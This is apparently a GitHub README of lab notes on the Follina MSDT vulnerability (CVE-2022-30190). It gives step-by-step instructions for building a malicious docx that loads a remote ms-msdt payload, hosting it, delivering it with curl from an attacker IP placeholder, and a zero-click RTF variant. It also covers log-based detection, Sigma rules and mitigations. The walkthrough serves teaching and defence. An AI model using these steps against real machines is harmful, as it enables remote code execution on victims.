Muhammad-Ali007/Follina_MSDT_CVE-2022-30190

Microsoft explains that “a remote code execution vulnerability exists when MSDT is called using the URL protocol from a calling application such as Word. An attacker who successfully exploits this vulnerability can run arbitrary code with the privileges of the calling application. The attacker can then install programs, view, change, or delete data, or create new accounts in the context allowed by the user’s rights”. (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)

Microsoft states that “the Microsoft Support Diagnostic Tool (MSDT) collects information to send to Microsoft Support. They will then analyze this information and use it to determine the resolution to any problems that you may be experiencing on your computer”. With that in mind, it’s essentially a way for Microsoft Support to immediately see what’s wrong as they’re getting all the information they need straight from the source

Exploit Explanation

Let’s start with a disclaimer: for our purposes, we’ll be loading our payload via a word document, particularly in the .docx format - this is the original exploit that has been discovered in the wild. However, this vulnerability has been proved to work in a number of other office products.

Two important aspects of this vulnerability are: 1 - specific docx files contain OLE (originally abbreviates to Object Linking and Embedding) Object references, and sometimes, they take the form of HTML files hosted elsewhere. 2 - MS-MSDT allows for code execution.

Combining the above two aspects together, an MS-MSDT HTML scheme can be used to execute PowerShell code, and that a docx file can be used to load it via word’s external reference capability.

More specifically, drilling into the docx structure, the "word/_rels/document.xml.rels" file has an XML tag with an attribute Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" that describes an external oleObject reference. In order to exploit this docx feature, we can edit the contents of this tag to point instead to the payload that we're hosting by changing the Target value into http://<external_payload_server.com>/<payload.html> and the TargetMode value into "External".

In the word/document.xml file, there's an XML tag that starts with <o:OLEObject...> wherein we should change the Type value to "Link" and then add the Key-Value pair attribute UpdateMode="OnCall".

The only thing left to do now is to host the payload that the word file will be connecting to, and receiving instructions from upon opening of the file. This is done by creating an html file with a structure similar to following:

<!doctype html>

In the above contents of the html file, you'd notice the ms-msdt:/id PCWDiagnostic /skip force /param command, along with the command switches you can use to set the command you want to execute in the target machine. You can then mix and match the payload according to your purposes.

As such, we now have a way to achieve remote code execution without touching any macros, and as we'll see later, without even opening the malicious document.

Publicly Available Exploit Focus (https://github.com/JohnHammond/msdt-follina) John Hammond has created a tool to automate the process of creating a malicious document (maldoc) and consequently host the malicious html file that houses the bad command. The tool is documented in the link above, and we will be using a forked version of it to further understand the concept of the exploit touched upon earlier.

Open a terminal, clone this repository and change your working directory to where the msdt-follina repository has been cloned. root@host:~/Follina-MSDT# python3 follina.py

Upon firing up the exploit, you should be hosting the file already, so it’s ready to be “delivered” to the victim machine. While keeping the original terminal open, open another terminal and enter the following command to host the files on a server: root@host:~/Follina-MSDT# python -m http.server 3456

On the target machine, proceed to open a command prompt and enter the following command: C:\Users\user> cd Desktop C:\Users\user\Desktop> curl http://[attack_machine_IP]:3456/follina.doc -o follina.docx

This downloads the maldoc in our machine and as such, shortly after, you should be able to see the word file named follina.docx appear in the Desktop, ready to be run. When you're ready, open the file and watch what happens. For now, let's allow the maldoc and all of the stuff that it spawned, to remain running

"Zero Click" Implementation

In order to replicate the “zero click” implementation of this vulnerability, we simply head to the malicious word file, add a cute message (completely optional), save it in the Rich Text Format (RTF), and we’re good to go. This implementation assumes that the victim machine is in the preview pane view, else it will revert to the original functionality which will still run upon opening of the file.

Open the file explorer and navigate to the Desktop folder. There you will see the seemingly honest file that we made that needs clicking, proceed to click it once careful not to actually open it and see what will happen.

Despite not actually opening the file, the exploit ran in the same manner that it did earlier in this exercise. This happened because of two key features: 1 - the feature of the File Explorer to preview files before opening them. 2 - the RTF which allows the feature of document files being able to be previewed in the File Explorer before being opened (among other purposes).

Combining the two and then abusing them will result in an attack vector that we’ve just witnessed now.

Detection & Mitigation Threat hunting:

The Windows machine that we’ve used to study the exploitation of the vulnerability has been pre-configured to have logging enabled for:

Audit Process Creation
Command Line Process Auditing, and
Script Block Logging

These auditing mechanisms are not configured by default and as such, it is imperative that these are turned on in your own environments to aid in the detection of suspicious behavior, and to help keep valuable data available for forensic examiners.

During the previous process, we've identified a number of interesting process creations upon the exploitation of the vulnerability. These process creations are logged in Windows Security Logs, ready to be analyzed via your favorite viewer, or forwarded to a centralized log collector to be processed then further used later on.

For this task we'll be using Event Log Viewer for Windows by Nirsoft to check out the process creations we've identified earlier. We will then look for details within these process creations that we can use to look for clues in other event logs to explain better what happened behind the scenes.

Proceed to open FullEventLogView. Go to View > Use Quick Filter. A search bar should appear on top of the logs which would allow us to do quick searches. Since we wanted to check the details of our process creations, we can click on the left-most drop down menu and choose Find Event ID (space/comma...), then type 4688 to the search bar provided.

The screen should populate with Process Creation events and you'll notice immediately that there's a ton of them, despite having minimal interaction with the machine.

The first artifact we'll check is winword.exe - understanding the flow of events from this process gives us an idea how an office process in general, will behave in the context of an msdt exploitation. Hit Ctrl+F to spawn a Find function and type in winword.

The first entry that you'll probably see is the one where WINWORD.EXE is the new process being created, identified by the detail: New Process Name. This process marks the opening of the follina.docx file, via by the detail: Process Command Line. It's completely normal for it not to look exactly the same. Click the Find Next button until you find an entry that looks something like a long "ms-msdt" (powershell) command.

Here we'll see that the WINWORD.EXE is the Creator Process, more commonly known as the Parent Process of msdt.exe. Notice the long command line entry that contains multiple PowerShell cmdlets (pronounced command-lets) as well as multiple directory traversals. Seeing this, on its own, in your environment should raise immediate red flags. One free nugget that we can look closely here is the string Y2FsYw== that when decoded would result in the string calc.

Since we saw PowerShell cmdlets, it would make sense for us to filter out PowerShell events to further check this lead. Since there's a lot of unique event IDs that log PowerShell events, we can filter via Provider. Go to Options > Advanced Options. Click the second dropdown menu and select Show only the specific providers (comma-delimited...). Type PowerShell enclosed with wildcards (*) so all providers with regards to PowerShell will be included.

Clear the "Quick Filter" box of the 4688 we entered earlier, and the screen should populate with events that exclusively come from PowerShell providers. From here, we can filter the events via part of the PowerShell command we've noted above.

Upon arriving in this event, we can close the find function and then proceed to follow the trail of this Scriptblock text; you can navigate to the next event by pressing the down key in your keyboard, or manually clicking the event. Exploring the immediate events that follow this scriptblock text will show the step-by-step execution of calc in the perspective of PowerShell.

Sigma rule availability: Huntress Detection Engineer Matthew Brennan has created a sigma rule to detect suspicious MSDT executions in the environment and the best thing about it is that it keeps getting updated whenever the community spots something new.

The sigma rule can be found here (https://gist.github.com/matthewB-huntress/14ab9d309f25a05fc9305a8e7f351089)

Uncoder.IO (https://uncoder.io/) is a nice tool that helps convert sigma rules to queries that can be immediately used within a SIEM of your choice.

In hunting for MSDT exploits around the environment, you may opt to use the sigma rule as a detection mechanism for both:

Analytics for use in near real time detections of exploits, and
Retroactive checks of prior intrusions

MSDT also uses another binary (https://twitter.com/KyleHanslovan/status/1531114931973767168) to channel executions and so, suspicious child processes with it as the parent should be noted and further investigated. The "redacted" information above is an answer to a question in the previous task - check at your own spoilage.

Further reading: Detecting Follina: Microsoft Office remote code execution zero-day (https://www.logpoint.com/en/blog/detecting-follina-microsoft-office-remote-code-execution-zero-day/)

Antivirus / Windows Defender: A number of Microsoft Defender products have detection mechanisms in place and our trusty Microsoft Security Response Center (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/) provides us a list of those.

Remediation

The patch for this vulnerability is in the June 2022 cumulative Windows Updates. It is imperative that users install these updates to be protected from the vulnerability. You can either do this manually every so often, which isn’t very efficient and prone to be forgotten, or you can opt to automate checking and installation of updates.

Disable MSDT URL Protocol: Before the patch has been introduced, security teams scrambled their organization’s IT Administrators to immediately disable the MSDT URL Protocol. By disabling the MSDT URL Protocol, troubleshooters will not be launched as links and so ms-msdt won’t be able to be called by Office. To disable the protocol, first run a command prompt as administrator C:\Users\Administrator> reg query HKEY_CLASSES_ROOT\ms-msdt C:\Users\Administrator> reg export HKEY_CLASSES_ROOT\ms-msdt ms-msdt_backup C:\Users\Administrator\Desktop> reg delete HKEY_CLASSES_ROOT\ms-msdt /f C:\Users\Administrator\Desktop> reg query HKEY_CLASSES_ROOT\ms-msdt

By now, you must have noticed that we're always changing our working directory to the Desktop - it's so we can immediately see the changes that our commands are introducing to the environment: file creation is fairly noticeable. It is by no means, however, the best practice to do in any environment.

The first reg query command that we've introduced is a quick check that the key exists. It is followed by reg export that exports our key into a file so we may be able to reintegrate it in our system later on when Microsoft comes up with a more permanent fix to this vulnerability. The exported file is saved in the current working directory - in our case the Desktop. The reg delete command is the command that actually disables the MSDT URL Protocol mainly because it essentially removes it altogether from the system. The final reg query command is a confirmatory check that the key no longer exists.

Upon disabling the MSDT URL Protocol in our Windows machine, let's try to trigger the exploit again, and see how it impacts the machine. This is a good way to check if our controls would be able to catch attacks, regardless if they're successful or not.

Attack Surface Reduction (ASR): If you’re using Microsoft Defender for Endpoint in your environment, enable the ASR rule Block all Office applications from creating child. Creating child processes from services that should not have been doing that is a common theme among malwares. Further Reading: (https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/)

Finally, a couple of remediation processes that are both straightforward and easily deployable has been the chosen method of closing this topic, Microsoft has already released a patch that blocks PowerShell injection, effectively disabling that attack vector.

Muhammad-Ali007 / Follina_MSDT_CVE-2022-30190

About

Languages